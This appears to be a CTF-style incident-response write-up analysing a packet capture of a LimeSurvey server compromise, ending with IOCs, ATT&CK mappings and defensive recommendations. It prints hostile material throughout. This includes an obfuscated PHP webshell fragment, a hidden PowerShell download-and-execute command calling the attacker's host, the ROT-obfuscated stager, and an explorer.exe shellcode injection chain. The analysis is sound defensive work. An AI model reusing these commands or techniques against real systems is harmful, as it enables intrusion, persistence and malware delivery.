Wowza Innotech hosted an onsite customer meetup at their headquarters. Each session concluded with attendees completing a satisfaction survey on an internal workstation accessible only within the building’s network. During one session, a customer noticed the survey page had redirected them to a suspicious external site prompting a file download and reported it immediately to the IR team.
Internal interviews surfaced a person of interest: an attendee who had a heated argument with staff during the event and had a history of misusing technology when upset. The IR team’s hypothesis was that the compromise occurred during the meetup itself — someone physically present on the network. The single artefact handed over was Satisfaction_evidence.pcapng, captured by network operations during the event.
Infrastructure servers hold static IPs. Any device obtaining a DHCP lease during the meetup window is a visitor device. Filtering on bootp in Wireshark immediately surfaces this:
bootp

One dynamic client is visible throughout the capture: 10.10.72.129 obtaining leases from 10.10.72.254. Every other host on 10.10.72.0/24 has a static assignment — no Discover/Offer/Request cycles. The DHCP Request packet for 10.10.72.129 shows the hardware address in the Client MAC Address field directly in the Wireshark detail pane. That MAC is the attacker’s laptop joining the internal network at the start of the event.
Attacker MAC: 00:0c:29:b8:dd:c6
Filtering HTTP requests originating from the attacker’s IP reveals all traffic to the survey server at 10.10.72.175, resolving to lime.wowzainnotechie.com:
ip.dst == 10.10.72.175 && http.request

The URL path /index.php/admin/authentication/sa/login is the LimeSurvey admin login endpoint — a fingerprint distinctive enough to confirm the platform without needing a server banner. LimeSurvey is a self-hosted PHP survey application, commonly deployed on internal networks for exactly this kind of corporate feedback collection.
Survey platform: LimeSurvey
The attacker’s first action after locating the server was targeting the admin panel. A cluster of POST requests to /index.php/admin/authentication/sa/login in rapid succession — each an independent 6-digit numeric guess — is the brute force signature:
ip.dst == 10.10.72.175 && http.request.method == "POST" && http.request.uri contains "sa/login"

The first POST lands at 2025-11-30 15:11 UTC. The sequence continues through passwords like 123456, 654321, and others before LimeSurvey’s lockout fires. The last submission before the 10-minute timeout was 111111. After the lockout expired the attacker returned, found the correct credential on a fresh attempt, and landed on the admin dashboard at 2025-11-30 15:25 — confirmed by GET /index.php/dashboard/view returning a 200.

The 14-minute gap between first attempt and successful login maps precisely to a 10-minute lockout plus a short second round. The brute force was purely numeric — the lockout mechanism slowed but did not stop it.
With admin access, the attacker used LimeSurvey’s built-in plugin manager to upload a ZIP archive. Legitimate plugin installation follows this exact same path — there is no privilege escalation required, just admin credentials:
POST /index.php/admin/pluginmanager?sa=upload (multipart/form-data, 1902 bytes)
POST /index.php/admin/pluginmanager?sa=installUploadedPlugin
Extracting the archive from File → Export Objects → HTTP in Wireshark and inspecting its contents reveals two files: config.xml (a convincing LimeSurvey plugin manifest describing “Satisfactory Co., Ltd.”) and main.php — the webshell. Hashing the webshell:
sha256sum main.php
# 9F9640DBD6489EBF9AF26F4B70E8919C3B5AA08B39702DE44F855936752329C5

The webshell is a compact obfuscated PHP script. Decoded, it builds a list of dangerous functions — system, exec, shell_exec, passthru — and iterates through them, calling the first one not disabled in php.ini. Commands are passed via the ?lol= query parameter:
$S=array(m("ncoai","msyte","cocain"),m("sir","cex","iris"),
m("otab","lshe","taboo")."_".m("sir","cex","iris"),
m("gbledin","upasthr","bleeding"));
The string substitution resolves to ['system', 'exec', 'shell_exec', 'passthru']. Chaining through multiple execution methods makes the shell resilient to PHP hardening controls that only disable one or two functions — a common misconfiguration in shared hosting environments.
Plugin name: Satisfactory
The webshell was immediately accessible at /upload/plugins/Satisfactory/main.php. The first command:
GET /upload/plugins/Satisfactory/main.php?lol=hostname
Response: developementpc9

Subsequent commands included whoami /all, which returned the victim user context:

developementpc9\everdeen
The username everdeen becomes important later when resolving the persistence path, which is built dynamically from environment variables at runtime.
With RCE confirmed, the attacker delivered a PowerShell stager via the webshell. The command URL-decoded:
powershell -w hidden -ep bypass -c iex (iwr -useb 'http://10.10.72.129/cat.jpg')
The file is named cat.jpg to blend into HTTP logs as benign image traffic. The attacker’s Python SimpleHTTP/0.6 server returns a Content-Type: image/jpeg header while serving a PowerShell script body — a trivial MIME mismatch that basic proxies won’t flag. Finding the transfer in Wireshark:
ip.src == 10.10.72.129 && http && http.request.uri contains "cat.jpg"
Following the TCP stream for that request exposes the full stager content:
$qHl6EupFGSWVKOL7jU = $(-join('qccy://10.10.72.129/luxdmoujanm.ngn'.ToCharArray()|%{
[int]$c=$_;
if($c-ge65-and$c-le90){[char](65+(($c-65+17)%26))}
elseif($c-ge97-and$c-le122){[char](97+(($c-97+17)%26))}
else{[char]$c}}))
$ZtvDk = ($env:LOCALAPPDATA + $(-join('\Oketquqhv\QpgFtkxg\QpgFtkxgCrr.gzg'.ToCharArray()|%{
[int]$c=$_;
if($c-ge65-and$c-le90){[char](65+(($c-65+24)%26))}
elseif($c-ge97-and$c-le122){[char](97+(($c-97+24)%26))}
else{[char]$c}})))

Two ROT cipher shifts are used. The download URL uses ROT+17: qccy://10.10.72.129/luxdmoujanm.ngn decodes to http://10.10.72.129/cloudflared.exe. The persistence path uses ROT+24 (equivalent to ROT-2): \Oketquqhv\QpgFtkxg\QpgFtkxgCrr.gzg decodes to \Microsoft\OneDrive\OneDriveApp.exe. Combined with %LOCALAPPDATA% (resolving to C:\Users\everdeen\AppData\Local), the full deploy path is:
C:\Users\everdeen\AppData\Local\Microsoft\OneDrive\OneDriveApp.exe
The remaining script lines use ASCII charcode arrays to obfuscate Invoke-WebRequest and Start-Process — a common technique for evading static pattern matching on PowerShell script content. The stager downloads the binary, writes it to the masqueraded path, and executes it.

Stager: cat.jpg
The binary exported from the PCAP and hashed:
sha256sum cloudflared.exe
# 7C0D7C44AD027BF42F01C63023CEBB04F25443F63735383FDA57087B4DE44D48
Detect It Easy confirms: PE64, native C, gcc compiler, no packer — a straight Ghidra decompile with no unpacking step needed.

Loading into Ghidra with auto-analysis, ADVAPI32.DLL resolves cleanly — the registry persistence imports are immediately visible:

The binary uses XOR 0x7a as a universal string obfuscation key throughout. Every sensitive string — URLs, process names, registry paths, environment variable names — is stored as an encrypted byte sequence in .rdata and decoded at runtime by a shared helper function (FUN_140013fe0). Static string search finds nothing useful; every pivot requires navigating to a DAT_ address and decoding the byte sequence in CyberChef with From Hex → XOR key 7a.
The primary payload function handles shellcode acquisition and injection. Walking the Ghidra decompiler from the top:
The shellcode source URL is stored at DAT_140026aa0 (30 bytes, key 0x7a). Decoding that byte sequence in CyberChef:
12 0e 0e 0a 40 55 55 4b 4a 54 4b 4a 54 4d 48 54
4b 48 43 55 19 15 14 1c 13 1d 54 18 13 14
Result: http://10.10.72.129/config.bin

The binary fetches this URL via URLOpenBlockingStreamA and streams the response into a dynamically allocated buffer, accumulating bytes in local_210 until the stream closes. That accumulated size is the shellcode length. The config.bin request is visible in the PCAP — the If-Modified-Since request header carries length=511, confirming the shellcode size at 511 bytes:
http contains "config.bin"

The injection target process is stored at DAT_140026b00 (12 bytes, key 0x7a), also decoded via FUN_140013fe0 with 0x7a. The first four decoded bytes map to e, x, p, l — explorer.exe. The function FUN_1400140b0 finds a running explorer.exe handle using CreateToolhelp32Snapshot.
With a handle obtained, the standard injection chain runs:
lpStartAddress = VirtualAllocEx(hProcess, 0x0, dwSize, 0x3000, 0x40);
WriteProcessMemory(hProcess, lpStartAddress, shellcode, dwSize, &written);
hObject = CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, NULL, 0, &threadId);
MEM_COMMIT | MEM_RESERVE (0x3000) with PAGE_EXECUTE_READWRITE (0x40) allocates executable memory. The shellcode is written and a remote thread is spawned to execute it inside the explorer.exe process space. CreateRemoteThread and VirtualAllocEx are both present in the imports — visible in the Ghidra Symbol Tree under KERNEL32.DLL.
Shellcode size: 511 bytes. Injection target: explorer.exe
After injection, execution returns to the persistence function. Two XOR decode loops run in sequence before the registry calls.
DAT_140026a70 (11 bytes, key 0x7a) decodes to Environment. The registry handle is HKEY_CURRENT_USER (hardcoded as 0xffffffff80000001), so RegOpenKeyExA opens HKCU\Environment.
DAT_140026a80 (22 bytes, key 0x7a) decodes to UserInitMprLogonScript — the value name written by RegSetValueExA. This is a Windows logon script persistence key: at user logon, the OS executes whatever path is stored in HKCU\Environment\UserInitMprLogonScript before the interactive session starts.
The value data is constructed at runtime. The inline string 659;6;**>;.; (12 bytes, XOR 0x7a) decodes to LOCALAPPDATA — the environment variable name passed to GetEnvironmentVariableA. The suffix appended to the expanded path comes from DAT_140026ac0 (35 bytes, key 0x7a): \Microsoft\OneDrive\OneDriveApp.exe.

Combined with the expanded %LOCALAPPDATA% for everdeen:
C:\Users\everdeen\AppData\Local\Microsoft\OneDrive\OneDriveApp.exe
Deploying under %LOCALAPPDATA%\Microsoft\OneDrive\ with the name OneDriveApp.exe is deliberate masquerading — legitimate OneDrive processes live in that exact directory, and OneDriveApp.exe is a plausible enough filename to survive a quick triage without hash verification. UserInitMprLogonScript is also rarely monitored compared to the more common Run key persistence paths.
Persistence path: C:\Users\everdeen\AppData\Local\Microsoft\OneDrive\OneDriveApp.exe Technique: T1037.001 — Logon Script (Windows)
With shellcode running inside explorer.exe, the callback is visible in the PCAP. Filtering for TCP SYN packets from the survey server back to the attacker:
ip.src == 10.10.72.175 && ip.dst == 10.10.72.129 && tcp.flags.syn == 1

The only non-port-80 outbound SYN from the survey server to the attacker is 53212 → 443. Using port 443 is deliberate — raw TCP on 443 is visually indistinguishable from HTTPS in a basic traffic review, and most egress policies allow it to all destinations.
Reverse shell port: 443
With a stable C2 channel established, the attacker edited the live survey content. The POST to /index.php/admin/database/index/updatesurveylocalesettings carries the full survey description field in the body. URL-decoded, the description_en parameter now includes:
visit https://priceconsultinggrp.com for the special discount
Any attendee who completed the survey and followed that link would land on a page designed to push a malicious file download.

Malicious URL: https://priceconsultinggrp.com
The incident date is 30 November 2025. Four days prior is 26 November. Searching urlscan.io:
page.domain:priceconsultinggrp.com
The 26 November 2025 result (submitted manually, scanned from UK) shows the site serving a fake Chrome update page — “To CONTINUE you need to update your browser” — flagged as Potentially Malicious / Fake Update. The DOM source for that scan exposes the button click handler:
// Liên kết tải xuống trực tiếp - THAY BẰNG LIÊN KẾT CỦA BẠN:
const DOWNLOAD_URL = "https://rummikub-apps.com/Installer.69-65-1-80-update_brows-y.zip";

Payload download URL: hxxps[://]rummikub-apps[.]com/Installer.69-65-1-80-update_brows-y.zip
Every code comment in the page source is written in Vietnamese — CSS layout comments (/* Đặt lại và kiểu cơ bản */ = “Reset and basic styles”), function annotations (// Hàm khởi tạo chính = “Main initialization function”), and inline debug notes (// Liên kết tải xuống trực tiếp = “Direct download link”). This is not a translation artifact — the developer wrote their working comments in Vietnamese throughout the codebase.

Country of origin: Vietnam
| Phase | Action |
|---|---|
| Physical Access | Attacker joins internal network during meetup; DHCP assigns 10.10.72.129 (MAC 00:0c:29:b8:dd:c6) |
| Credential Access | LimeSurvey admin brute-forced with 6-digit numeric passwords; lockout at 15:11; authenticated at 15:25 |
| Initial Access | Satisfactory plugin ZIP uploaded via admin plugin manager; contains PHP webshell (main.php) |
| Execution | Webshell executed hostname, whoami /all for host recon; PowerShell stager (cat.jpg) invoked via IEX |
| Defense Evasion | cat.jpg obfuscates download URL with ROT+17 and persistence path with ROT+24; Invoke-WebRequest and Start-Process hidden in charcode arrays |
| Defense Evasion | cloudflared.exe XOR-obfuscates all strings with key 0x7a; deployed as OneDriveApp.exe under legitimate OneDrive path |
| Execution | Binary downloads 511-byte shellcode from hxxp[://]10[.]10[.]72[.]129/config[.]bin via URLOpenBlockingStreamA |
| Defense Evasion / Privilege Escalation | Shellcode injected into explorer.exe via VirtualAllocEx / WriteProcessMemory / CreateRemoteThread |
| Persistence | HKCU\Environment\UserInitMprLogonScript set to OneDriveApp.exe (T1037.001) |
| C2 | Shellcode reverse shell to 10.10.72.129:443 |
| Impact | Survey description modified to embed hxxps[://]priceconsultinggrp[.]com link, directing attendees to fake Chrome update page |
| Type | Value |
|---|---|
| MAC (Attacker) | 00:0c:29:b8:dd:c6 |
| IP (Attacker) | 10.10.72.129 |
| IP (Survey Server) | 10.10.72.175 |
| Domain (Survey Server) | lime[.]wowzainnotechie[.]com |
| File | main.php (LimeSurvey webshell) |
| File | cat.jpg (PowerShell stager) |
| File | cloudflared.exe / OneDriveApp.exe |
| SHA-256 (webshell) | 9F9640DBD6489EBF9AF26F4B70E8919C3B5AA08B39702DE44F855936752329C5 |
| SHA-256 (binary) | 7C0D7C44AD027BF42F01C63023CEBB04F25443F63735383FDA57087B4DE44D48 |
| URL (stager) | hxxp[://]10[.]10[.]72[.]129/cat[.]jpg |
| URL (binary) | hxxp[://]10[.]10[.]72[.]129/cloudflared[.]exe |
| URL (shellcode) | hxxp[://]10[.]10[.]72[.]129/config[.]bin |
| Registry Key | HKCU\Environment\UserInitMprLogonScript |
| Persistence Path | C:\Users\everdeen\AppData\Local\Microsoft\OneDrive\OneDriveApp.exe |
| Domain (malicious redirect) | priceconsultinggrp[.]com |
| URL (payload) | hxxps[://]rummikub-apps[.]com/Installer[.]69-65-1-80-update_brows-y[.]zip |
| Port (reverse shell) | 443 |
| Technique | ID | Description |
|---|---|---|
| Brute Force: Password Guessing | T1110.001 | 6-digit numeric password brute force against LimeSurvey admin panel; lockout at 15:11, success at 15:25 |
| Server Software Component: Web Shell | T1505.003 | PHP webshell (main.php) embedded in Satisfactory LimeSurvey plugin archive, installed via admin plugin manager |
| Command and Scripting Interpreter: PowerShell | T1059.001 | cat.jpg stager executed via webshell; IEX download-and-execute pattern |
| Obfuscated Files or Information | T1027 | XOR 0x7a encoding of all sensitive strings in cloudflared.exe binary |
| Command Obfuscation | T1027.010 | ROT+17 / ROT+24 ciphers and ASCII charcode arrays in cat.jpg PowerShell stager |
| Process Injection | T1055 | 511-byte shellcode injected into explorer.exe via VirtualAllocEx / WriteProcessMemory / CreateRemoteThread |
| Boot or Logon Initialization Scripts: Logon Script (Windows) | T1037.001 | HKCU\Environment\UserInitMprLogonScript set to OneDriveApp.exe for user-context persistence |
| Masquerading: Match Legitimate Name or Location | T1036.005 | Binary deployed as OneDriveApp.exe under %LOCALAPPDATA%\Microsoft\OneDrive\ to blend with legitimate OneDrive processes |
Restrict CMS plugin uploads to code-signed or vetted sources. LimeSurvey’s plugin manager accepted an arbitrary ZIP archive with no signature verification. Requiring vendor-signed plugins or disabling third-party plugin installation entirely removes this attack surface. Where plugin uploads are necessary, file integrity monitoring on the plugin directory with alerting on new PHP files written outside the application update path would catch this within minutes of installation.
Admin panel authentication needs more than a lockout. A 10-minute timeout is a speed bump, not a control — and paired with a weak 6-digit numeric password, the attacker needed only one lockout cycle. Rate-limiting with increasing backoff, IP-based throttling on authentication endpoints, and alerting on more than three failed admin logins per source IP are minimum controls. MFA on the admin panel would have stopped this attack regardless of password quality.
Monitor HKCU\Environment\UserInitMprLogonScript for writes. This persistence key is rarely written by legitimate software and is not commonly covered by default detection rules. A Sysmon RegistryEvent (Event ID 13) rule targeting \Environment\UserInitMprLogonScript across all user hives will catch this technique regardless of payload name or path. It is specifically valuable because most defenders focus on HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and similar well-known keys.
Behavioural detection survives masquerading; hash and path detection does not. The binary was deployed as OneDriveApp.exe in a directory where legitimate OneDrive processes also live. Hash detection only works on known samples; path-based allowlisting only works if the parent process chain is validated too. Detecting CreateRemoteThread calls from non-Microsoft parents into explorer.exe, or processes under %LOCALAPPDATA% initiating outbound TCP to ephemeral IPs, is durable against this pattern regardless of what the binary is named.
Egress filtering on port 443 must enforce TLS inspection, not just allow the port. The shellcode used port 443 specifically to blend with legitimate HTTPS traffic. A strict egress policy requiring TLS termination through an inspecting proxy — blocking raw TCP on 443 that doesn’t complete a verified TLS handshake to a known destination — would have severed the C2 channel at the perimeter. At minimum, alerting on explorer.exe initiating outbound TCP connections is anomalous and trivially detectable in an EDR with network telemetry.